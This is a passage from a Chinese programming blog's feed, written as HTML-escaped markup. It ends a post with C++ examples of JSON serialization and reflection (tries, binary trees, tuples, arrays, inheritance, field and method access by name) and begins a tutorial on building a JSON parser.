	trie.insert(&amp;quot;ababa&amp;quot;);
	trie.insert(&amp;quot;abab&amp;quot;);
	trie.insert(&amp;quot;xisa&amp;quot;);
	trie.insert(&amp;quot;cpp&amp;quot;);                                        &amp;#x2F;&amp;#x2F;构建一棵字典树
	trie.insert(&amp;quot;cest&amp;quot;);
	trie.insert(&amp;quot;test&amp;quot;);
	trie.insert(&amp;quot;tet&amp;quot;);
	std::string json=Serializable::dumps(trie);                &amp;#x2F;&amp;#x2F;序列化

	fout&amp;lt;&amp;lt;json;                                                &amp;#x2F;&amp;#x2F;保存到文件
	fout.close();

	std::getline(fin,json);                                    &amp;#x2F;&amp;#x2F;读取文件(一行json数据)
	fin.close();
	std::cout&amp;lt;&amp;lt;&amp;quot;序列化后的json字符串\n&amp;quot;&amp;lt;&amp;lt;json&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;endl;
	Trie&amp;amp;new_trie=Serializable::loads&amp;lt;Trie&amp;gt;(json);             &amp;#x2F;&amp;#x2F;反序列化
	new_trie.print();                                          &amp;#x2F;&amp;#x2F;打印trie树所有单词
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出结果如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;trie-deserialization-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到这颗字典树被正确还原了，结果与之前保持一致&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(2).序列化一颗二叉树&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct Node:public Serializable
{
	Node(Node*lson,Node*rson,std::function&amp;lt;int(Node*,Node*)&amp;gt;eval):value(eval(lson,rson)),lson(lson),rson(rson){}
	Node(int value=0):value(value),lson(nullptr),rson(nullptr){}
	~Node()
	{
		if(lson!=nullptr)
			delete lson;
		if(rson!=nullptr)
			delete rson;
	}
	Config get_config()const &amp;#x2F;&amp;#x2F;变化1
	{
		Config config=Serializable::get_config(this);
		config.update({
			{&amp;quot;value&amp;quot;,value},
			{&amp;quot;lson&amp;quot;,lson},
			{&amp;quot;rson&amp;quot;,rson}
		});
		return config;
	}
	int value;
	Node*lson;
	Node*rson;
};
int main()
{
	Serializable::Regist&amp;lt;Node&amp;gt;(); &amp;#x2F;&amp;#x2F;变化2
	ifstream fin(&amp;quot;test.json&amp;quot;,ios::in);
	ofstream fout(&amp;quot;test.json&amp;quot;,ios::out);
	auto add=Node*x,Node*y{return x-&amp;gt;value+y-&amp;gt;value;};
	auto sub=Node*x,Node*y{return x-&amp;gt;value-y-&amp;gt;value;};
	auto mul=Node*x,Node*y{return x-&amp;gt;value*y-&amp;gt;value;};
	Node*x=new Node(5);
	Node*y=new Node(6);
	Node*z=new Node(x,y,add); &amp;#x2F;&amp;#x2F;z=x+y=11
	z=new Node(x,z,mul);      &amp;#x2F;&amp;#x2F;z=x*z=55
	z=new Node(z,y,sub);      &amp;#x2F;&amp;#x2F;z=z-y=49
	std::string json=Serializable::dumps(*z);  &amp;#x2F;&amp;#x2F;序列化
	fout&amp;lt;&amp;lt;json;
	fout.close();

	getline(fin,json);
	fin.close();
	cout&amp;lt;&amp;lt;&amp;quot;json string:\n&amp;quot;&amp;lt;&amp;lt;json&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;endl;
	Node*root=(Node*)Serializable::loads(json); &amp;#x2F;&amp;#x2F;反序列化
	cout&amp;lt;&amp;lt;root-&amp;gt;value;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-json-serialize-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这次序列化出来的结果就比较直观&lt;&#x2F;p&gt;
&lt;p&gt;更进一步的，我们可以尝试用python的json库来处理，也是可以正常加载的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-json-python-load-check.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(4).std::tuple和std::pair&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;除了标准容器，我也对这两个提供了支持&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct Node
{
	std::list&amp;lt;std::tuple&amp;lt;int,float,std::string&amp;gt;&amp;gt;x;
	std::pair&amp;lt;float,int&amp;gt;y;
	Config get_config()const
	{
		Config config=Serializable::get_config(this);
		config.update({
			{&amp;quot;x&amp;quot;,x},
			{&amp;quot;y&amp;quot;,y}
		});
		return config;
	}
};
int main()
{
	Serializable::Regist&amp;lt;Node&amp;gt;();
	Node a;
	a.x={{1,2.1,&amp;quot;first&amp;quot;},{2,3,&amp;quot;second&amp;quot;}};
	a.y={3.4,2};
	string json=Serializable::dumps(a);
	cout&amp;lt;&amp;lt;json&amp;lt;&amp;lt;endl;
	Node b=Serializable::loads&amp;lt;Node&amp;gt;(json);
	cout&amp;lt;&amp;lt;b.get_config().serialized_to_string(true)&amp;lt;&amp;lt;endl;
	cout&amp;lt;&amp;lt;get&amp;lt;2&amp;gt;(*b.x.begin())&amp;lt;&amp;lt;endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-json-serialization-output-2.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(5)数组&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;众所周知C&#x2F;C++的数组在传参过程中是会退化为指针的，但是实际数组和指针是两种不同类型&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int*x=new int[15];
int y[15];
cout&amp;lt;&amp;lt;std::is_same&amp;lt;decltype(x),decltype(y)&amp;gt;::value&amp;lt;&amp;lt;endl;
cout&amp;lt;&amp;lt;std::is_pointer&amp;lt;decltype(x)&amp;gt;::value&amp;lt;&amp;lt;endl;
cout&amp;lt;&amp;lt;std::is_pointer&amp;lt;decltype(y)&amp;gt;::value&amp;lt;&amp;lt;endl;
&amp;#x2F;*
输出:
0
1
0
*&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但由于我的函数是模板函数，所以传参过程中避免了退化，因此就可以支持原生数组&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template&amp;lt;typename T&amp;gt; &amp;#x2F;&amp;#x2F;T=int[15],长度信息被保留，没有发生退化
ConfigPair::ConfigPair(const std::string&amp;amp;name,const T&amp;amp;object):
	key(name),
	value(ConfigPair::get_config_string&amp;lt;T&amp;gt;(object)),
	type(GET_TYPE_NAME(T)),
	address((std::size_t)&amp;amp;object){}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;写段代码测试一下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct Node
{
	Node()
	{
		std::memset(x,0,sizeof(x));
	}
	Node(const Node&amp;amp;)=delete;
	Config get_config()const
	{
		Config config=Serializable::get_config(this);
		config.update({
			{&amp;quot;x&amp;quot;,x},
		});
		return config;
	}
	int x[15];
};
int main()
{
	Serializable::Regist&amp;lt;Node&amp;gt;();
	Node a,b;
	for(int i=0;i&amp;lt;15;i++)
		a.x[i]=i;
	cout&amp;lt;&amp;lt;Serializable::dumps(a)&amp;lt;&amp;lt;endl;
	cout&amp;lt;&amp;lt;Serializable::dumps(b)&amp;lt;&amp;lt;endl;
	std::string json=Serializable::dumps(a);
	b=Serializable::loads&amp;lt;Node&amp;gt;(json);
	cout&amp;lt;&amp;lt;Serializable::dumps(b)&amp;lt;&amp;lt;endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-json-serialization-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(6)复杂结构体的序列化与反序列化&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;算是对上面说的做一个总结吧。。。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include&amp;quot;lang&amp;#x2F;serializable.h&amp;quot;
#include&amp;lt;iostream&amp;gt;
#include&amp;lt;fstream&amp;gt;
#include&amp;lt;cstring&amp;gt;
struct Node
{
	Node()
	{
		std::memset(z,0,sizeof(z));
		t={1,2,3,4};
	}
	Config get_config()const
	{
		Config config=Serializable::get_config(this);
		config.update({
			{&amp;quot;x&amp;quot;,x},
			{&amp;quot;y&amp;quot;,y},
			{&amp;quot;z&amp;quot;,z},
			{&amp;quot;t&amp;quot;,t}
		});
		return config;
	}
	std::tuple&amp;lt;float,std::pair&amp;lt;int,std::string&amp;gt;&amp;gt;x;
	std::vector&amp;lt;Node*&amp;gt;y;
	int z[3];
	std::array&amp;lt;int,4&amp;gt;t;
};
using namespace std;
int main()
{
	Serializable::Regist&amp;lt;Node&amp;gt;();                                                   &amp;#x2F;&amp;#x2F;注册
	Node a=*(Node*)Reflectable::get_instance(&amp;quot;Node&amp;quot;);                               &amp;#x2F;&amp;#x2F;创建实例
	Reflectable::set_field(a,&amp;quot;x&amp;quot;,make_tuple(3.2f,make_pair(5,string{&amp;quot;test&amp;quot;})));     &amp;#x2F;&amp;#x2F;通过名称修改属性
	Reflectable::set_field(a,&amp;quot;y&amp;quot;,std::vector&amp;lt;Node*&amp;gt;{new Node,nullptr});
	int*z=(int*)Reflectable::get_field(a,&amp;quot;z&amp;quot;);                                      &amp;#x2F;&amp;#x2F;获得属性，并进行修改
	z[0]=2021,z[1]=10,z[2]=18;
	a.t[0]=2021,a.t[1]=10,a.t[2]=19,a.t[3]=10;
	std::string json=Serializable::dumps(a);                                        &amp;#x2F;&amp;#x2F;序列化为json格式的字符串
	cout&amp;lt;&amp;lt;&amp;quot;json\n&amp;quot;&amp;lt;&amp;lt;json&amp;lt;&amp;lt;endl;
	Node&amp;amp;b=Serializable::loads&amp;lt;Node&amp;gt;(json);                                         &amp;#x2F;&amp;#x2F;通过json格式的字符串进行反序列化
	cout&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;a.get_config().serialized_to_string(true);
	cout&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;b.get_config().serialized_to_string(true);                          &amp;#x2F;&amp;#x2F;打印结果
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-json-serialization-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;(7).派生类的序列化与反序列化&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include&amp;quot;lang&amp;#x2F;serializable.h&amp;quot;
#include&amp;quot;iostream&amp;quot;
using namespace std;
struct Father
{
	int x=1;
	std::vector&amp;lt;int&amp;gt;y{1,2,3,4};
	virtual Config get_config()const
	{
		Config config=Serializable::get_config(this);
		config.update({
			{&amp;quot;x&amp;quot;,x},
			{&amp;quot;y&amp;quot;,y}
		});
		return config;
	}
	virtual ~Father(){}
};
struct Son:public Father
{
	float z[4]={5,6,7,8};
	Config get_config()const
	{
		Config config=Serializable::Inherit&amp;lt;Father&amp;gt;::get_config(this);
		config.update({
			{&amp;quot;z&amp;quot;,z}
		});
		return config;
	}
};
struct GrandSon:public Son
{
	std::tuple&amp;lt;int,std::string&amp;gt;t={2021,&amp;quot;shijunfeng00&amp;quot;};
	Config get_config()const
	{
		Config config=Serializable::Inherit&amp;lt;Son&amp;gt;::get_config(this);
		config.update({
			{&amp;quot;t&amp;quot;,t}
		});
		return config;
	}
};
int main()
{
	Serializable::Regist&amp;lt;Father,Son,GrandSon&amp;gt;();
	Father*son=new GrandSon();
	son-&amp;gt;x=233;
	std::string json=Serializable::dumps(*son);
	cout&amp;lt;&amp;lt;&amp;quot;json string:\n&amp;quot;&amp;lt;&amp;lt;json&amp;lt;&amp;lt;endl;
	GrandSon*gs=(GrandSon*)Serializable::loads(json);
	cout&amp;lt;&amp;lt;gs-&amp;gt;get_config().serialized_to_string(true)&amp;lt;&amp;lt;endl;
	cout&amp;lt;&amp;lt;gs-&amp;gt;x&amp;lt;&amp;lt;endl;
	for(auto&amp;amp;it:gs-&amp;gt;y)
		cout&amp;lt;&amp;lt;it&amp;lt;&amp;lt;&amp;quot;,&amp;quot;;
	cout&amp;lt;&amp;lt;endl;
	for(auto&amp;amp;it:gs-&amp;gt;z)
		cout&amp;lt;&amp;lt;it&amp;lt;&amp;lt;&amp;quot;,&amp;quot;;
	cout&amp;lt;&amp;lt;endl;
	cout&amp;lt;&amp;lt;get&amp;lt;0&amp;gt;(gs-&amp;gt;t)&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;get&amp;lt;1&amp;gt;(gs-&amp;gt;t);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-json-serialization-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;liu-fan-she-de-dai-ma-shi-li&quot;&gt;六、反射的代码示例&lt;&#x2F;h2&gt;
&lt;p&gt;反射相对于序列化&#x2F;反序列化会多一些细节出来,如果只需要反射,可以只用#include&quot;lang&#x2F;reflectable.h&quot;&lt;&#x2F;p&gt;
&lt;p&gt;以及对应的Reflectable::Regist&lt;T&gt;()和Config config=Reflectable::get_config(this)&lt;&#x2F;p&gt;
&lt;p&gt;这样的话就只有反射没有序列化&#x2F;反序列化的功能&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;代码示例(1)：打印属性名称和方法名称&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include&amp;quot;lang&amp;#x2F;reflectable.h&amp;quot;
#include&amp;lt;iostream&amp;gt;
#include&amp;lt;vector&amp;gt;
using namespace std;
struct Node
{
    int x=1;
    float y=5;
    std::string z=&amp;quot;sjf&amp;quot;;
    int add(int x,int y)
    {
        return x+y;
    }
    std::string getName()
    {
        return z;
    }
    Config get_config()const
    {
        Config config=Reflectable::get_config(this);
        config.update({
            {&amp;quot;x&amp;quot;,x},
            {&amp;quot;y&amp;quot;,y},
            {&amp;quot;z&amp;quot;,z},
            {&amp;quot;add&amp;quot;,add},
            {&amp;quot;getName&amp;quot;,getName}
        });
        return config;
    }
};
int main()
{
    Reflectable::Regist&amp;lt;Node&amp;gt;();
    Node a;
    cout&amp;lt;&amp;lt;&amp;quot;fields:\n&amp;quot;;
    for(auto&amp;amp;it:Reflectable::get_field_names&amp;lt;Node&amp;gt;())
        cout&amp;lt;&amp;lt;&amp;quot;name:&amp;quot;&amp;lt;&amp;lt;it&amp;lt;&amp;lt;&amp;quot;    type:&amp;quot;&amp;lt;&amp;lt;Reflectable::get_field_type(&amp;quot;Node&amp;quot;,it)&amp;lt;&amp;lt;endl;  &amp;#x2F;&amp;#x2F;打印属性名称
    cout&amp;lt;&amp;lt;&amp;quot;methods:\n&amp;quot;;
    for(auto&amp;amp;it:Reflectable::get_method_names&amp;lt;Node&amp;gt;())                                     &amp;#x2F;&amp;#x2F;打印方法名称
        cout&amp;lt;&amp;lt;&amp;quot;name:&amp;quot;&amp;lt;&amp;lt;it&amp;lt;&amp;lt;endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-reflection-demo-output-3.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;代码中可以使用Node*object=*(Node*)Reflectable::get_instance(&quot;Node&quot;)来得到一个Node对象，使用Reflectable::get_field来获得属性，对于private属性也能正常访问。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对于有类型的对象，比如上文的Node a，可以采用int&amp;amp;field=Reflectable::get_field&amp;lt;int&amp;gt;(a,&quot;x&quot;);来得到属性的引用，   也可以使用void*field=Reflectable::get_field(a,&quot;x&quot;);来得到一个void*指针。&lt;&#x2F;li&gt;
&lt;li&gt;对于void*指针表示的对象，比如void*a=Reflectable::get_instance(&quot;Node&quot;)得到的对象，需要给出具体类型的字符串名称，   即int&amp;amp;field2=Reflectable::get_field&amp;lt;int&amp;gt;(a,&quot;Node&quot;,&quot;x&quot;);，   或者void*field1=Reflectable::get_field(a,&quot;Node&quot;,&quot;x&quot;); 同样代码里面也可以使用Reflectable::set_field来直接设置属性类型&lt;&#x2F;li&gt;
&lt;li&gt;使用Reflectable::set_field(a,&quot;x&quot;,5);或者Reflectable::set_field&amp;lt;int&amp;gt;(a,&quot;x&quot;,5); 可以显式给出类型，也可以由输入参数自动推断。&lt;&#x2F;li&gt;
&lt;li&gt;对于void*类型，依然需要给出字符串名称Reflectable::set_field&amp;lt;int&amp;gt;(a,&quot;Node&quot;,&quot;x&quot;,5); 对于成员函数的反射，需要显式给出函数的返回值类型Reflectable::get_method&amp;lt;string&amp;gt;(b,&quot;add&quot;,5,6); 第一个参数是对象实例，然后是函数名称，然后是函数的参数列表&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;示例代码(2):完整功能示例&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include&amp;lt;iostream&amp;gt;
#include&amp;quot;lang&amp;#x2F;reflectable.h&amp;quot;
#include&amp;lt;vector&amp;gt;
using namespace std;
struct Node
{
    int x=1;
    float y=5;
    std::string z=&amp;quot;sjf&amp;quot;;
    int add(int x,int y)
    {
        return x+y;
    }
    std::string getName()
    {
        return z;
    }
    Config get_config()const
    {
        Config config=Reflectable::get_config(this);
        config.update({
            {&amp;quot;x&amp;quot;,x},
            {&amp;quot;y&amp;quot;,y},
            {&amp;quot;z&amp;quot;,z},
            {&amp;quot;add&amp;quot;,add},
            {&amp;quot;getName&amp;quot;,getName}
        });
        return config;
    }
};
struct Point
{
    float x=0,y=0;
    Point add(float delta)
    {
        Point p(*this);
        p.x+=delta;
        p.y+=delta;
        return p;
    }
    Config get_config()const
    {
        Config config=Reflectable::get_config(this);
        config.update({
            {&amp;quot;x&amp;quot;,x},
            {&amp;quot;y&amp;quot;,y},
            {&amp;quot;add&amp;quot;,add},
        });
        return config;
    }
};
int main()
{
    &amp;#x2F;*构建实例*&amp;#x2F;
    Reflectable::Regist&amp;lt;Node,Point&amp;gt;();
    void*a=Reflectable::get_instance(&amp;quot;Node&amp;quot;);                        &amp;#x2F;&amp;#x2F;创建实例a
    Node b;                                                          &amp;#x2F;&amp;#x2F;创建实例b
    Point c;
    &amp;#x2F;*属性值反射*&amp;#x2F;
    Reflectable::set_field(a,&amp;quot;Node&amp;quot;,&amp;quot;x&amp;quot;,4);                          &amp;#x2F;&amp;#x2F;不显式给出类型,由第三个参数来推断
    Reflectable::set_field&amp;lt;float&amp;gt;(a,&amp;quot;Node&amp;quot;,&amp;quot;y&amp;quot;,5);
    Reflectable::set_field&amp;lt;string&amp;gt;(a,&amp;quot;Node&amp;quot;,&amp;quot;z&amp;quot;,&amp;quot;test&amp;quot;);

    int field_x=Reflectable::get_field&amp;lt;int&amp;gt;(a,&amp;quot;Node&amp;quot;,&amp;quot;x&amp;quot;);           &amp;#x2F;&amp;#x2F;通过字符串名称得到值
    float field_y=Reflectable::get_field&amp;lt;float&amp;gt;(a,&amp;quot;Node&amp;quot;,&amp;quot;y&amp;quot;);
    string field_z=Reflectable::get_field&amp;lt;string&amp;gt;(a,&amp;quot;Node&amp;quot;,&amp;quot;z&amp;quot;);

    cout&amp;lt;&amp;lt;field_x&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;(*(Node*)a).x&amp;lt;&amp;lt;endl;                         &amp;#x2F;&amp;#x2F;正常访问成员变量
    cout&amp;lt;&amp;lt;field_y&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;(*(Node*)a).y&amp;lt;&amp;lt;endl;
    cout&amp;lt;&amp;lt;field_z&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;(*(Node*)a).z&amp;lt;&amp;lt;endl;

    Reflectable::set_field&amp;lt;int&amp;gt;(b,string(&amp;quot;x&amp;quot;),10);
    Reflectable::set_field&amp;lt;float&amp;gt;(b,&amp;quot;y&amp;quot;,15);
    Reflectable::set_field&amp;lt;string&amp;gt;(b,&amp;quot;z&amp;quot;,&amp;quot;cpp&amp;quot;);

    field_x=Reflectable::get_field&amp;lt;int&amp;gt;(b,&amp;quot;x&amp;quot;);
    field_y=Reflectable::get_field&amp;lt;float&amp;gt;(b,&amp;quot;y&amp;quot;);
    field_z=Reflectable::get_field&amp;lt;std::string&amp;gt;(b,&amp;quot;z&amp;quot;);

    cout&amp;lt;&amp;lt;field_x&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;b.x&amp;lt;&amp;lt;endl;                                     &amp;#x2F;&amp;#x2F;正常访问成员变量
    cout&amp;lt;&amp;lt;field_y&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;b.y&amp;lt;&amp;lt;endl;
    cout&amp;lt;&amp;lt;field_z&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;b.z&amp;lt;&amp;lt;endl;
    &amp;#x2F;*成员函数反射*&amp;#x2F;
    cout&amp;lt;&amp;lt;Reflectable::get_method&amp;lt;int&amp;gt;(b,&amp;quot;add&amp;quot;,6,7)&amp;lt;&amp;lt;endl;
    cout&amp;lt;&amp;lt;Reflectable::get_method&amp;lt;string&amp;gt;(b,&amp;quot;getName&amp;quot;)&amp;lt;&amp;lt;endl;
    Point d=Reflectable::get_method&amp;lt;Point&amp;gt;(c,&amp;quot;add&amp;quot;,5.f);
    cout&amp;lt;&amp;lt;d.x&amp;lt;&amp;lt;&amp;quot; &amp;quot;&amp;lt;&amp;lt;d.y&amp;lt;&amp;lt;endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;程序运行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-reflection&#x2F;cpp-reflection-demo-output-2.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cpp造轮子--手把手教你实现json解析器</title>
        <published>2024-01-02T00:00:00+00:00</published>
        <updated>2024-01-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/cpp造轮子-手把手教你实现json解析器/"/>
        <id>https://vercel.juzhong.asia/obsidian/cpp造轮子-手把手教你实现json解析器/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/cpp造轮子-手把手教你实现json解析器/">&lt;h1 id=&quot;cppzao-lun-zi-shou-ba-shou-jiao-ni-shi-xian-jsonjie-xi-qi&quot;&gt;cpp造轮子--手把手教你实现json解析器&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频讲解：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1FV4y1E78B?spm_id_from=333.999.0.0&amp;vd_source=96dd2539b156b0809378103a5f27b949&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fwww.bilibili.com%2Fvideo%2FBV1FV4y1E78B%3Fspm_id_from%3D333.999.0.0%26vd_source%3D96dd2539b156b0809378103a5f27b949&quot;&gt;bilibili&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;代码开源仓库：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;ACking-you&#x2F;MyUtil&#x2F;tree&#x2F;master&#x2F;json-parser&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ACking-you&#x2F;MyUtil&#x2F;tree&#x2F;master&#x2F;json-parser&quot;&gt;cpp造轮子项目--实现json解析器&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;jsonge-shi-jie-shao&quot;&gt;JSON格式介绍&lt;&#x2F;h2&gt;
&lt;p&gt;JSON(&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;baike.baidu.com&#x2F;item&#x2F;JavaScript&quot; href=&quot;https:&#x2F;&#x2F;link.juejin.cn&#x2F;?target=https%3A%2F%2Fbaike.baidu.com%2Fitem%2FJavaScript&quot;&gt;JavaScript&lt;&#x2F;a&gt; Object Notation)，是一种序列化的格式，最大的优点在于可读性极强，以及可直接嵌入到js代码中，所以广泛运用于web数据的收发。&lt;&#x2F;p&gt;
&lt;p&gt;JSON格式有以下基本类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;null类型：值为null，表示为空&lt;&#x2F;li&gt;
&lt;li&gt;bool类型：值为true和false&lt;&#x2F;li&gt;
&lt;li&gt;number类型：值为int、double（即整数或小数&lt;&#x2F;li&gt;
&lt;li&gt;string类型：形如 &quot;abc&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以及以下复合类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;list类型（也称array类型）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;[&amp;quot;abc&amp;quot;,3.2,323,&amp;quot;sdaf&amp;quot;]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;dict类型（也称object类型）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
    &amp;quot;id&amp;quot;:32,
    &amp;quot;name&amp;quot;:&amp;quot;hhh&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jie-xi-jsonzi-fu-chuan&quot;&gt;解析json字符串&lt;&#x2F;h2&gt;
&lt;p&gt;整套解析流程如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp-json-parser&#x2F;cpp-json-parser-flow.webp&quot; alt=&quot;绘图1.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chuang-jian-jobjectlei&quot;&gt;创建JObject类&lt;&#x2F;h3&gt;
&lt;p&gt;我们需要把json的类型对应到计算机语言的类型。&lt;&#x2F;p&gt;
&lt;p&gt;由于json的数据在我们看来都是字符串，那么有如下对应关系：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;null&quot;对应我们构造的null类型&lt;&#x2F;li&gt;
&lt;li&gt;“true&quot;,&quot;false&quot;对应内部的bool类型即可&lt;&#x2F;li&gt;
&lt;li&gt;number类型数据对应int、double类型&lt;&#x2F;li&gt;
&lt;li&gt;string类型数据对应string即可&lt;&#x2F;li&gt;
&lt;li&gt;list类型对应C++中的vector&lt;&#x2F;li&gt;
